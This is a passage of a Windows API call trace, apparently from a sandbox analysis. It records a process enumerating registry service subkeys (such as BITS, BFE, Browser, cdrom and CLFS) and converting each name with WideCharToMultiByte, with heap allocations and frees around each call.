dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2b, lpName=0x1c829e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2c, lpName=0x1c829e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.214] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.214] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2d, lpName=0x1c829e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.214] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2e, lpName=0x1c829e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2f, lpName=0x1c829e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x30, lpName=0x1c829e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0028.215] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.215] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.215] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x31, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x32, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x33, lpName=0x1c829e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.216] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x34, lpName=0x1c829e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0028.216] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.216] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x35, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x36, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x37, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.217] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.217] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x38, lpName=0x1c829e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.217] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0028.218] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.218] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.218] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x39, lpName=0x1c829e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0028.218] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.218] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0028.218] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.218] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.218] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3a, lpName=0x1c829e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3b, lpName=0x1c829e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.222] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.222] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3c, lpName=0x1c829e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0028.222] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.223] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0028.223] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.223] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.223] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3d, lpName=0x1c829e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0028.223] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.223] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1c94450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3e, lpName=0x1c829e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3f, lpName=0x1c829e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0028.223] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x40, lpName=0x1c829e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0028.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 